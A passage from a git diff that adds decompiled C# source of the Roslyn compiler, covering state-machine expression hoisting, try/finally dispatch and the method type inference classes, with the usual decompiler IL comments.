(SynthesizedLocalKind)(-2)); + return F.Sequence(ImmutableArray.Create(localSymbol), instance.ToImmutableAndFree(), F.AssignmentExpression(F.Local(localSymbol), boundExpression, isRef: true)); + } + if (instance.Count == 0) + { + instance.Free(); + return null; + } + BoundExpression result = instance.Last(); + instance.RemoveLast(); + return F.Sequence(ImmutableArray.Empty, instance.ToImmutableAndFree(), result); + } + + private BoundExpression HoistExpression(BoundExpression expr, SyntaxNode awaitSyntaxOpt, int syntaxOffset, RefKind refKind, ArrayBuilder sideEffects, ArrayBuilder hoistedFields, ref bool needsSacrificialEvaluation) + { + //IL_01cb: Unknown result type (might be due to invalid IL or missing references) + //IL_0181: Unknown result type (might be due to invalid IL or missing references) + //IL_01fb: Unknown result type (might be due to invalid IL or missing references) + //IL_01cf: Unknown result type (might be due to invalid IL or missing references) + //IL_01d2: Invalid comparison between Unknown and I4 + //IL_01c0: Unknown result type (might be due to invalid IL or missing references) + //IL_0185: Unknown result type (might be due to invalid IL or missing references) + //IL_0188: Invalid comparison between Unknown and I4 + //IL_0113: Unknown result type (might be due to invalid IL or missing references) + //IL_00fc: Unknown result type (might be due to invalid IL or missing references) + //IL_020d: Unknown result type (might be due to invalid IL or missing references) + //IL_0239: Unknown result type (might be due to invalid IL or missing references) + //IL_0141: Unknown result type (might be due to invalid IL or missing references) + //IL_028b: Unknown result type (might be due to invalid IL or missing references) + //IL_02d3: Unknown result type (might be due to invalid IL or missing references) + //IL_02d5: Unknown result type (might be due to invalid IL or missing references) + switch (expr.Kind) + { + case BoundKind.ArrayAccess: + { + BoundArrayAccess boundArrayAccess = (BoundArrayAccess)expr; + BoundExpression expression = HoistExpression(boundArrayAccess.Expression, awaitSyntaxOpt, syntaxOffset, (RefKind)0, sideEffects, hoistedFields, ref needsSacrificialEvaluation); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = boundArrayAccess.Indices.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + instance.Add(HoistExpression(current, awaitSyntaxOpt, syntaxOffset, (RefKind)0, sideEffects, hoistedFields, ref needsSacrificialEvaluation)); + } + needsSacrificialEvaluation = true; + return boundArrayAccess.Update(expression, instance.ToImmutableAndFree(), boundArrayAccess.Type); + } + case BoundKind.FieldAccess: + { + BoundFieldAccess boundFieldAccess = (BoundFieldAccess)expr; + if (boundFieldAccess.FieldSymbol.IsStatic) + { + if ((int)refKind != 0 || boundFieldAccess.FieldSymbol.IsReadOnly) + { + return expr; + } + } + else if ((int)refKind != 0) + { + bool flag = !boundFieldAccess.FieldSymbol.ContainingType.IsReferenceType; + BoundExpression boundExpression = HoistExpression(boundFieldAccess.ReceiverOpt, awaitSyntaxOpt, syntaxOffset, (RefKind)(flag ? ((int)refKind) : 0), sideEffects, hoistedFields, ref needsSacrificialEvaluation); + if (boundExpression.Kind != BoundKind.ThisReference && !flag) + { + needsSacrificialEvaluation = true; + } + return F.Field(boundExpression, boundFieldAccess.FieldSymbol); + } + break; + } + case BoundKind.DefaultExpression: + case BoundKind.ThisReference: + case BoundKind.BaseReference: + return expr; + case BoundKind.Call: + { + BoundCall boundCall = (BoundCall)expr; + if ((int)refKind != 0 && (int)refKind != 3) + { + F.Diagnostics.Add(ErrorCode.ERR_RefReturningCallAndAwait, F.Syntax.Location, boundCall.Method); + } + refKind = (RefKind)0; + break; + } + case BoundKind.ConditionalOperator: + _ = (BoundConditionalOperator)expr; + if ((int)refKind != 0 && (int)refKind != 3) + { + F.Diagnostics.Add(ErrorCode.ERR_RefConditionalAndAwait, F.Syntax.Location); + } + refKind = (RefKind)0; + break; + } + if (expr.ConstantValueOpt != (ConstantValue)null) + { + return expr; + } + if ((int)refKind != 0) + { + throw ExceptionUtilities.UnexpectedValue((object)expr.Kind); + } + TypeSymbol type = expr.Type; + StateMachineFieldSymbol stateMachineFieldSymbol; + if ((int)((CompilationOptions)F.Compilation.Options).OptimizationLevel == 0) + { + int num = _synthesizedLocalOrdinals.AssignLocalOrdinal((SynthesizedLocalKind)29, syntaxOffset); + LocalDebugId val = default(LocalDebugId); + ((LocalDebugId)(ref val))._002Ector(syntaxOffset, num); + int slotIndex = default(int); + if (slotAllocatorOpt == null || !slotAllocatorOpt.TryGetPreviousHoistedLocalSlotIndex(awaitSyntaxOpt, ((PEModuleBuilder)F.ModuleBuilderOpt).Translate(type, awaitSyntaxOpt, ((BindingDiagnosticBag)Diagnostics).DiagnosticBag), (SynthesizedLocalKind)29, val, ((BindingDiagnosticBag)Diagnostics).DiagnosticBag, ref slotIndex)) + { + slotIndex = _nextFreeHoistedLocalSlot++; + } + string name = GeneratedNames.MakeHoistedLocalFieldName((SynthesizedLocalKind)29, slotIndex); + stateMachineFieldSymbol = F.StateMachineField(expr.Type, name, new LocalSlotDebugInfo((SynthesizedLocalKind)29, val), slotIndex); + } + else + { + stateMachineFieldSymbol = GetOrAllocateReusableHoistedField(type, out var _); + } + hoistedFields.Add(stateMachineFieldSymbol); + BoundFieldAccess boundFieldAccess2 = F.Field(F.This(), stateMachineFieldSymbol); + sideEffects.Add(F.AssignmentExpression(boundFieldAccess2, expr)); + return boundFieldAccess2; + } + + public override BoundNode Visit(BoundNode node) + { + if (node == null) + { + return node; + } + SyntaxNode syntax = F.Syntax; + F.Syntax = node.Syntax; + BoundNode? result = base.Visit(node); + F.Syntax = syntax; + return result; + } + + public override BoundNode VisitBlock(BoundBlock node) + { + if (node.Instrumentation != null) + { + instrumentation = (BoundBlockInstrumentation)Visit(node.Instrumentation); + } + return PossibleIteratorScope(node.Locals, () => VisitBlock(node, removeInstrumentation: true)); + } + + public override BoundNode VisitStateMachineInstanceId(BoundStateMachineInstanceId node) + { + return F.Field(F.This(), instanceIdField); + } + + public override BoundNode VisitScope(BoundScope node) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + bool flag = false; + ImmutableArray.Enumerator enumerator = node.Locals.GetEnumerator(); + while (enumerator.MoveNext()) + { + LocalSymbol current = enumerator.Current; + if (TryRewriteLocal(current, out LocalSymbol newLocal)) + { + instance.Add(newLocal); + flag = flag || (object)current != newLocal; + } + else + { + instance2.Add(((CapturedToStateMachineFieldReplacement)proxies[current]).HoistedField); + } + } + ImmutableArray statements = VisitList(node.Statements); + if (instance2.Count != 0) + { + BoundStatement statement; + if (instance.Count == 0) + { + instance.Free(); + statement = new BoundStatementList(node.Syntax, statements); + } + else + { + statement = node.Update(instance.ToImmutableAndFree(), statements); + } + return MakeStateMachineScope(instance2.ToImmutable(), statement); + } + instance2.Free(); + ImmutableArray locals; + if (flag) + { + locals = instance.ToImmutableAndFree(); + } + else + { + instance.Free(); + locals = node.Locals; + } + return node.Update(locals, statements); + } + + public override BoundNode VisitForStatement(BoundForStatement node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/StateMachineRewriter/MethodToStateMachineRewriter.cs", 793); + } + + public override BoundNode VisitUsingStatement(BoundUsingStatement node) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Lowering/StateMachineRewriter/MethodToStateMachineRewriter.cs", 798); + } + + public override BoundNode VisitExpressionStatement(BoundExpressionStatement node) + { + BoundExpression boundExpression = (BoundExpression)Visit(node.Expression); + if (boundExpression != null) + { + return node.Update(boundExpression); + } + return null; + } + + public override BoundNode VisitAssignmentOperator(BoundAssignmentOperator node) + { + if (node.Left.Kind != BoundKind.Local) + { + return base.VisitAssignmentOperator(node); + } + LocalSymbol localSymbol = ((BoundLocal)node.Left).LocalSymbol; + if (!NeedsProxy(localSymbol)) + { + return base.VisitAssignmentOperator(node); + } + if (proxies.ContainsKey(localSymbol)) + { + return base.VisitAssignmentOperator(node); + } + return HoistRefInitialization((SynthesizedLocal)localSymbol, node); + } + + public override BoundNode VisitTryStatement(BoundTryStatement node) + { + Dictionary> dictionary = _dispatches; + _dispatches = null; + BoundBlock boundBlock = F.Block((BoundStatement)Visit(node.TryBlock)); + GeneratedLabelSymbol generatedLabelSymbol = null; + if (_dispatches != null) + { + generatedLabelSymbol = F.GenerateLabel("tryDispatch"); + boundBlock = F.Block(F.HiddenSequencePoint(), Dispatch(isOutermost: false), boundBlock); + if (dictionary == null) + { + dictionary = new Dictionary>(); + } + dictionary.Add(generatedLabelSymbol, new List(from kv in _dispatches.Values + from n in kv + orderby n + select n)); + } + _dispatches = dictionary; + ImmutableArray catchBlocks = VisitList(node.CatchBlocks); + BoundBlock finallyBlockOpt = ((node.FinallyBlockOpt == null) ? null : F.Block(F.HiddenSequencePoint(), F.If(ShouldEnterFinallyBlock(), VisitFinally(node.FinallyBlockOpt)), F.HiddenSequencePoint())); + BoundStatement boundStatement = node.Update(boundBlock, catchBlocks, finallyBlockOpt, node.FinallyLabelOpt, node.PreferFaultHandler); + if ((object)generatedLabelSymbol != null) + { + boundStatement = F.Block(F.HiddenSequencePoint(), F.Label(generatedLabelSymbol), boundStatement); + } + return boundStatement; + } + + protected virtual BoundBlock VisitFinally(BoundBlock finallyBlock) + { + return (BoundBlock)Visit(finallyBlock); + } + + protected virtual BoundBinaryOperator ShouldEnterFinallyBlock() + { + return F.IntLessThan(F.Local(cachedState), F.Literal((StateMachineState)0)); + } + + protected BoundExpressionStatement GenerateSetBothStates(StateMachineState stateNumber) + { + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + return F.Assignment(F.Field(F.This(), stateField), F.AssignmentExpression(F.Local(cachedState), F.Literal(stateNumber))); + } + + protected BoundStatement CacheThisIfNeeded() + { + if ((object)cachedThis != null) + { + BoundExpression right = proxies[OriginalMethod.ThisParameter].Replacement(F.Syntax, (NamedTypeSymbol frameType) => F.This()); + return F.Assignment(F.Local(cachedThis), right); + } + return F.StatementList(); + } + + public sealed override BoundNode VisitThisReference(BoundThisReference node) + { + if ((object)cachedThis != null) + { + return F.Local(cachedThis); + } + ParameterSymbol thisParameter = OriginalMethod.ThisParameter; + if ((object)thisParameter == null || !proxies.TryGetValue(thisParameter, out CapturedSymbolReplacement value)) + { + return node.Update(VisitType(node.Type)); + } + return value.Replacement(F.Syntax, (NamedTypeSymbol frameType) => F.This()); + } + + public override BoundNode VisitBaseReference(BoundBaseReference node) + { + if ((object)cachedThis != null) + { + return F.Local(cachedThis); + } + return proxies[OriginalMethod.ThisParameter].Replacement(F.Syntax, (NamedTypeSymbol frameType) => F.This()); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MethodTypeInferenceResult.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MethodTypeInferenceResult.cs new file mode 100644 index 0000000..78abb4d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MethodTypeInferenceResult.cs @@ -0,0 +1,13 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal readonly struct MethodTypeInferenceResult(bool success, ImmutableArray inferredTypeArguments, bool hasTypeArgumentInferredFromFunctionType) +{ + public readonly ImmutableArray InferredTypeArguments = inferredTypeArguments; + + public readonly bool HasTypeArgumentInferredFromFunctionType = hasTypeArgumentInferredFromFunctionType; + + public readonly bool Success = success; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MethodTypeInferrer.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MethodTypeInferrer.cs new file mode 100644 index 0000000..8ada53b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MethodTypeInferrer.cs @@ -0,0 +1,2009 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class MethodTypeInferrer +{ + internal abstract class Extensions + { + private sealed class DefaultExtensions : Extensions + { + internal override TypeWithAnnotations GetTypeWithAnnotations(BoundExpression expr) + { + return TypeWithAnnotations.Create(expr.GetTypeOrFunctionType()); + } + + internal override TypeWithAnnotations GetMethodGroupResultType(BoundMethodGroup group, MethodSymbol method) + { + return method.ReturnTypeWithAnnotations; + } + } + + internal static readonly Extensions Default = new DefaultExtensions(); + + internal abstract TypeWithAnnotations GetTypeWithAnnotations(BoundExpression expr); + + internal abstract TypeWithAnnotations GetMethodGroupResultType(BoundMethodGroup group, MethodSymbol method); + } + + private enum InferenceResult + { + InferenceFailed, + MadeProgress, + NoProgress, + Success + } + + private enum Dependency + { + Unknown = 0, + NotDependent = 1, + DependsMask = 16, + Direct = 17, + Indirect = 18 + } + + private enum ExactOrBoundsKind + { + Exact, + LowerBound, + UpperBound + } + + private sealed class EqualsIgnoringDynamicTupleNamesAndNullabilityComparer : EqualityComparer + { + internal static readonly EqualsIgnoringDynamicTupleNamesAndNullabilityComparer Instance = new EqualsIgnoringDynamicTupleNamesAndNullabilityComparer(); + + public override int GetHashCode(TypeWithAnnotations obj) + { + return obj.Type.GetHashCode(); + } + + public override bool Equals(TypeWithAnnotations x, TypeWithAnnotations y) + { + if (x.Type.IsDynamic() ^ y.Type.IsDynamic()) + { + return false; + } + return x.Equals(y, (TypeCompareKind)14); + } + } + + private readonly CSharpCompilation _compilation; + + private readonly ConversionsBase _conversions; + + private readonly ImmutableArray _methodTypeParameters; + + private readonly NamedTypeSymbol _constructedContainingTypeOfMethod; + + private readonly ImmutableArray _formalParameterTypes; + + private readonly ImmutableArray _formalParameterRefKinds; + + private readonly ImmutableArray _arguments; + + private readonly Extensions _extensions; + + private readonly (TypeWithAnnotations Type, bool FromFunctionType)[] _fixedResults; + + private readonly HashSet[] _exactBounds; + + private readonly HashSet[] _upperBounds; + + private readonly HashSet[] _lowerBounds; + + private readonly NullableAnnotation[] _nullableAnnotationLowerBounds; + + private Dependency[,] _dependencies; + + private bool _dependenciesDirty; + + private int NumberArgumentsToProcess => Math.Min(_arguments.Length, _formalParameterTypes.Length); + + public static MethodTypeInferenceResult Infer(Binder binder, ConversionsBase conversions, ImmutableArray methodTypeParameters, NamedTypeSymbol constructedContainingTypeOfMethod, ImmutableArray formalParameterTypes, ImmutableArray formalParameterRefKinds, ImmutableArray arguments, ref CompoundUseSiteInfo useSiteInfo, Extensions extensions = null) + { + if (formalParameterTypes.Length == 0) + { + return new MethodTypeInferenceResult(success: false, default(ImmutableArray), hasTypeArgumentInferredFromFunctionType: false); + } + return new MethodTypeInferrer(binder.Compilation, conversions, methodTypeParameters, constructedContainingTypeOfMethod, formalParameterTypes, formalParameterRefKinds, arguments, extensions).InferTypeArgs(binder, ref useSiteInfo); + } + + private MethodTypeInferrer(CSharpCompilation compilation, ConversionsBase conversions, ImmutableArray methodTypeParameters, NamedTypeSymbol constructedContainingTypeOfMethod, ImmutableArray formalParameterTypes, ImmutableArray formalParameterRefKinds, ImmutableArray arguments, Extensions extensions) + { + _compilation = compilation; + _conversions = conversions; + _methodTypeParameters = methodTypeParameters; + _constructedContainingTypeOfMethod = constructedContainingTypeOfMethod; + _formalParameterTypes = formalParameterTypes; + _formalParameterRefKinds = formalParameterRefKinds; + _arguments = arguments; + _extensions = extensions ?? Extensions.Default; + _fixedResults = new(TypeWithAnnotations, bool)[methodTypeParameters.Length]; + _exactBounds = new HashSet[methodTypeParameters.Length]; + _upperBounds = new HashSet[methodTypeParameters.Length]; + _lowerBounds = new HashSet[methodTypeParameters.Length]; + _nullableAnnotationLowerBounds = new NullableAnnotation[methodTypeParameters.Length]; + _dependencies = null; + _dependenciesDirty = false; + } + + private RefKind GetRefKind(int index) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + if (!_formalParameterRefKinds.IsDefault) + { + return _formalParameterRefKinds[index]; + } + return (RefKind)0; + } + + private ImmutableArray GetResults(out bool inferredFromFunctionType) + { + for (int i = 0; i < _methodTypeParameters.Length; i++) + { + TypeWithAnnotations item = _fixedResults[i].Type; + if (item.HasType) + { + if (!item.Type.IsErrorType()) + { + if (_conversions.IncludeNullability && _nullableAnnotationLowerBounds[i].IsAnnotated()) + { + (TypeWithAnnotations Type, bool FromFunctionType)[] fixedResults = _fixedResults; + int num = i; + (TypeWithAnnotations, bool) tuple = _fixedResults[i]; + tuple.Item1 = item.AsAnnotated(); + fixedResults[num] = tuple; + } + continue; + } + if (item.Type.Name != null) + { + continue; + } + } + _fixedResults[i] = (Type: TypeWithAnnotations.Create(new ExtendedErrorTypeSymbol(_constructedContainingTypeOfMethod, _methodTypeParameters[i].Name, 0, null)), FromFunctionType: false); + } + return GetInferredTypeArguments(out inferredFromFunctionType); + } + + private bool ValidIndex(int index) + { + if (0 <= index) + { + return index < _methodTypeParameters.Length; + } + return false; + } + + private bool IsUnfixed(int methodTypeParameterIndex) + { + return !_fixedResults[methodTypeParameterIndex].Type.HasType; + } + + private bool IsUnfixedTypeParameter(TypeWithAnnotations type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + if ((int)type.TypeKind != 11) + { + return false; + } + TypeParameterSymbol typeParameterSymbol = (TypeParameterSymbol)type.Type; + int ordinal = typeParameterSymbol.Ordinal; + if (ValidIndex(ordinal) && TypeSymbol.Equals(typeParameterSymbol, _methodTypeParameters[ordinal], (TypeCompareKind)0)) + { + return IsUnfixed(ordinal); + } + return false; + } + + private bool AllFixed() + { + for (int i = 0; i < _methodTypeParameters.Length; i++) + { + if (IsUnfixed(i)) + { + return false; + } + } + return true; + } + + private void AddBound(TypeWithAnnotations addedBound, HashSet[] collectedBounds, TypeWithAnnotations methodTypeParameterWithAnnotations) + { + int ordinal = ((TypeParameterSymbol)methodTypeParameterWithAnnotations.Type).Ordinal; + if (collectedBounds[ordinal] == null) + { + collectedBounds[ordinal] = new HashSet(TypeWithAnnotations.EqualsComparer.ConsiderEverythingComparer); + } + collectedBounds[ordinal].Add(addedBound); + } + + private bool HasBound(int methodTypeParameterIndex) + { + if (_lowerBounds[methodTypeParameterIndex] == null && _upperBounds[methodTypeParameterIndex] == null) + { + return _exactBounds[methodTypeParameterIndex] != null; + } + return true; + } + + private TypeSymbol GetFixedDelegateOrFunctionPointer(TypeSymbol delegateOrFunctionPointerType) + { + ImmutableArray typeArguments = ImmutableArrayExtensions.SelectAsArray(_methodTypeParameters, (Func)((TypeParameterSymbol typeParameter, int i, MethodTypeInferrer self) => (!self.IsUnfixed(i)) ? self._fixedResults[i].Type : TypeWithAnnotations.Create(typeParameter)), this); + return new TypeMap(_constructedContainingTypeOfMethod, _methodTypeParameters, typeArguments).SubstituteType(delegateOrFunctionPointerType).Type; + } + + private MethodTypeInferenceResult InferTypeArgs(Binder binder, ref CompoundUseSiteInfo useSiteInfo) + { + InferTypeArgsFirstPhase(binder, ref useSiteInfo); + bool success = InferTypeArgsSecondPhase(binder, ref useSiteInfo); + bool inferredFromFunctionType; + ImmutableArray results = GetResults(out inferredFromFunctionType); + return new MethodTypeInferenceResult(success, results, inferredFromFunctionType); + } + + private void InferTypeArgsFirstPhase(Binder binder, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + int i = 0; + for (int numberArgumentsToProcess = NumberArgumentsToProcess; i < numberArgumentsToProcess; i++) + { + BoundExpression argument = _arguments[i]; + TypeWithAnnotations target = _formalParameterTypes[i]; + ExactOrBoundsKind kind = ((!GetRefKind(i).IsManagedReference() && !target.Type.IsPointerType()) ? ExactOrBoundsKind.LowerBound : ExactOrBoundsKind.Exact); + MakeExplicitParameterTypeInferences(binder, argument, target, kind, ref useSiteInfo); + } + } + + private void MakeExplicitParameterTypeInferences(Binder binder, BoundExpression argument, TypeWithAnnotations target, ExactOrBoundsKind kind, ref CompoundUseSiteInfo useSiteInfo) + { + if (argument.Kind == BoundKind.UnboundLambda && (object)target.Type.GetDelegateType() != null) + { + ExplicitParameterTypeInference(argument, target, ref useSiteInfo); + ExplicitReturnTypeInference(argument, target, ref useSiteInfo); + } + else if (argument.Kind == BoundKind.UnconvertedCollectionExpression) + { + MakeCollectionExpressionTypeInferences(binder, (BoundUnconvertedCollectionExpression)argument, target, kind, ref useSiteInfo); + } + else if (argument.Kind == BoundKind.CollectionExpressionSpreadElement) + { + MakeSpreadElementTypeInferences((BoundCollectionExpressionSpreadElement)argument, target, ref useSiteInfo); + } + else if (argument.Kind != BoundKind.TupleLiteral || !MakeExplicitParameterTypeInferences(binder, (BoundTupleLiteral)argument, target, kind, ref useSiteInfo)) + { + TypeWithAnnotations typeWithAnnotations = _extensions.GetTypeWithAnnotations(argument); + if (IsReallyAType(typeWithAnnotations.Type)) + { + ExactOrBoundsInference(kind, typeWithAnnotations, target, ref useSiteInfo); + } + else if (IsUnfixedTypeParameter(target) && !target.NullableAnnotation.IsAnnotated() && kind == ExactOrBoundsKind.LowerBound) + { + int ordinal = ((TypeParameterSymbol)target.Type).Ordinal; + _nullableAnnotationLowerBounds[ordinal] = _nullableAnnotationLowerBounds[ordinal].Join(typeWithAnnotations.NullableAnnotation); + } + } + } + + private void MakeCollectionExpressionTypeInferences(Binder binder, BoundUnconvertedCollectionExpression argument, TypeWithAnnotations target, ExactOrBoundsKind kind, ref CompoundUseSiteInfo useSiteInfo) + { + TypeSymbol type = target.Type; + if ((object)type != null && argument.Elements.Length != 0 && binder.TryGetCollectionIterationType((ExpressionSyntax)(object)argument.Syntax, type.StrippedType(), out var iterationType)) + { + ImmutableArray.Enumerator enumerator = argument.Elements.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + MakeExplicitParameterTypeInferences(binder, current, iterationType, kind, ref useSiteInfo); + } + } + } + + private void MakeSpreadElementTypeInferences(BoundCollectionExpressionSpreadElement argument, TypeWithAnnotations target, ref CompoundUseSiteInfo useSiteInfo) + { + if ((object)target.Type != null) + { + ForEachEnumeratorInfo enumeratorInfoOpt = argument.EnumeratorInfoOpt; + if (enumeratorInfoOpt != null) + { + LowerBoundInference(enumeratorInfoOpt.ElementTypeWithAnnotations, target, ref useSiteInfo); + } + } + } + + private bool MakeExplicitParameterTypeInferences(Binder binder, BoundTupleLiteral argument, TypeWithAnnotations target, ExactOrBoundsKind kind, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + if ((int)target.Type.Kind != 11) + { + return false; + } + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)target.Type; + ImmutableArray arguments = argument.Arguments; + if (!namedTypeSymbol.IsTupleTypeOfCardinality(arguments.Length)) + { + return false; + } + ImmutableArray tupleElementTypesWithAnnotations = namedTypeSymbol.TupleElementTypesWithAnnotations; + for (int i = 0; i < arguments.Length; i++) + { + BoundExpression argument2 = arguments[i]; + TypeWithAnnotations target2 = tupleElementTypesWithAnnotations[i]; + MakeExplicitParameterTypeInferences(binder, argument2, target2, kind, ref useSiteInfo); + } + return true; + } + + private bool InferTypeArgsSecondPhase(Binder binder, ref CompoundUseSiteInfo useSiteInfo) + { + InitializeDependencies(); + while (true) + { + switch (DoSecondPhase(binder, ref useSiteInfo)) + { + case InferenceResult.InferenceFailed: + return false; + case InferenceResult.Success: + return true; + } + } + } + + private InferenceResult DoSecondPhase(Binder binder, ref CompoundUseSiteInfo useSiteInfo) + { + if (AllFixed()) + { + return InferenceResult.Success; + } + MakeOutputTypeInferences(binder, ref useSiteInfo); + InferenceResult inferenceResult = FixNondependentParameters(ref useSiteInfo); + if (inferenceResult != InferenceResult.NoProgress) + { + return inferenceResult; + } + inferenceResult = FixDependentParameters(ref useSiteInfo); + if (inferenceResult != InferenceResult.NoProgress) + { + return inferenceResult; + } + return InferenceResult.InferenceFailed; + } + + private void MakeOutputTypeInferences(Binder binder, ref CompoundUseSiteInfo useSiteInfo) + { + int i = 0; + for (int numberArgumentsToProcess = NumberArgumentsToProcess; i < numberArgumentsToProcess; i++) + { + TypeWithAnnotations formalType = _formalParameterTypes[i]; + BoundExpression argument = _arguments[i]; + MakeOutputTypeInferences(binder, argument, formalType, ref useSiteInfo); + } + } + + private void MakeOutputTypeInferences(Binder binder, BoundExpression argument, TypeWithAnnotations formalType, ref CompoundUseSiteInfo useSiteInfo) + { + if (argument.Kind == BoundKind.TupleLiteral && (object)argument.Type == null) + { + MakeOutputTypeInferences(binder, (BoundTupleLiteral)argument, formalType, ref useSiteInfo); + } + else if (argument.Kind == BoundKind.UnconvertedCollectionExpression) + { + MakeOutputTypeInferences(binder, (BoundUnconvertedCollectionExpression)argument, formalType, ref useSiteInfo); + } + else if (HasUnfixedParamInOutputType(argument, formalType.Type) && !HasUnfixedParamInInputType(argument, formalType.Type)) + { + OutputTypeInference(binder, argument, formalType, ref useSiteInfo); + } + } + + private void MakeOutputTypeInferences(Binder binder, BoundUnconvertedCollectionExpression argument, TypeWithAnnotations formalType, ref CompoundUseSiteInfo useSiteInfo) + { + if (argument.Elements.Length != 0 && binder.TryGetCollectionIterationType((ExpressionSyntax)(object)argument.Syntax, formalType.Type, out var iterationType)) + { + ImmutableArray.Enumerator enumerator = argument.Elements.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + MakeOutputTypeInferences(binder, current, iterationType, ref useSiteInfo); + } + } + } + + private void MakeOutputTypeInferences(Binder binder, BoundTupleLiteral argument, TypeWithAnnotations formalType, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + if ((int)formalType.Type.Kind != 11) + { + return; + } + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)formalType.Type; + ImmutableArray arguments = argument.Arguments; + if (namedTypeSymbol.IsTupleTypeOfCardinality(arguments.Length)) + { + ImmutableArray tupleElementTypesWithAnnotations = namedTypeSymbol.TupleElementTypesWithAnnotations; + for (int i = 0; i < arguments.Length; i++) + { + BoundExpression argument2 = arguments[i]; + TypeWithAnnotations formalType2 = tupleElementTypesWithAnnotations[i]; + MakeOutputTypeInferences(binder, argument2, formalType2, ref useSiteInfo); + } + } + } + + private InferenceResult FixNondependentParameters(ref CompoundUseSiteInfo useSiteInfo) + { + return FixParameters((MethodTypeInferrer inferrer, int index) => !inferrer.DependsOnAny(index), ref useSiteInfo); + } + + private InferenceResult FixDependentParameters(ref CompoundUseSiteInfo useSiteInfo) + { + return FixParameters((MethodTypeInferrer inferrer, int index) => inferrer.AnyDependsOn(index), ref useSiteInfo); + } + + private InferenceResult FixParameters(Func predicate, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + BitVector val = BitVector.Create(_methodTypeParameters.Length); + InferenceResult result = InferenceResult.NoProgress; + for (int i = 0; i < _methodTypeParameters.Length; i++) + { + if (IsUnfixed(i) && HasBound(i) && predicate(this, i)) + { + ((BitVector)(ref val))[i] = true; + result = InferenceResult.MadeProgress; + } + } + for (int j = 0; j < _methodTypeParameters.Length; j++) + { + if (((BitVector)(ref val))[j] && !Fix(j, ref useSiteInfo)) + { + result = InferenceResult.InferenceFailed; + } + } + return result; + } + + private static bool DoesInputTypeContain(BoundExpression argument, TypeSymbol formalParameterType, TypeParameterSymbol typeParameter) + { + TypeSymbol delegateOrFunctionPointerType = formalParameterType.GetDelegateOrFunctionPointerType(); + if ((object)delegateOrFunctionPointerType == null) + { + return false; + } + bool flag = delegateOrFunctionPointerType.IsFunctionPointer(); + bool flag2 = flag && argument.Kind != BoundKind.UnconvertedAddressOfOperator; + if (!flag2) + { + bool flag3 = !flag; + if (flag3) + { + BoundKind kind = argument.Kind; + bool flag4 = ((kind == BoundKind.MethodGroup || kind == BoundKind.UnboundLambda) ? true : false); + flag3 = !flag4; + } + flag2 = flag3; + } + if (flag2) + { + return false; + } + ImmutableArray immutableArray = delegateOrFunctionPointerType.DelegateOrFunctionPointerParameters(); + if (immutableArray.IsDefaultOrEmpty) + { + return false; + } + ImmutableArray.Enumerator enumerator = immutableArray.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current.Type.ContainsTypeParameter(typeParameter)) + { + return true; + } + } + return false; + } + + private bool HasUnfixedParamInInputType(BoundExpression pSource, TypeSymbol pDest) + { + for (int i = 0; i < _methodTypeParameters.Length; i++) + { + if (IsUnfixed(i) && DoesInputTypeContain(pSource, pDest, _methodTypeParameters[i])) + { + return true; + } + } + return false; + } + + private static bool DoesOutputTypeContain(BoundExpression argument, TypeSymbol formalParameterType, TypeParameterSymbol typeParameter) + { + TypeSymbol delegateOrFunctionPointerType = formalParameterType.GetDelegateOrFunctionPointerType(); + if ((object)delegateOrFunctionPointerType == null) + { + return false; + } + bool flag = delegateOrFunctionPointerType.IsFunctionPointer(); + bool flag2 = flag && argument.Kind != BoundKind.UnconvertedAddressOfOperator; + if (!flag2) + { + bool flag3 = !flag; + if (flag3) + { + BoundKind kind = argument.Kind; + bool flag4 = ((kind == BoundKind.MethodGroup || kind == BoundKind.UnboundLambda) ? true : false); + flag3 = !flag4; + } + flag2 = flag3; + } + if (flag2) + { + return false; + } + MethodSymbol methodSymbol; + if (!(delegateOrFunctionPointerType is NamedTypeSymbol namedTypeSymbol)) + { + if (!(delegateOrFunctionPointerType is FunctionPointerTypeSymbol functionPointerTypeSymbol)) 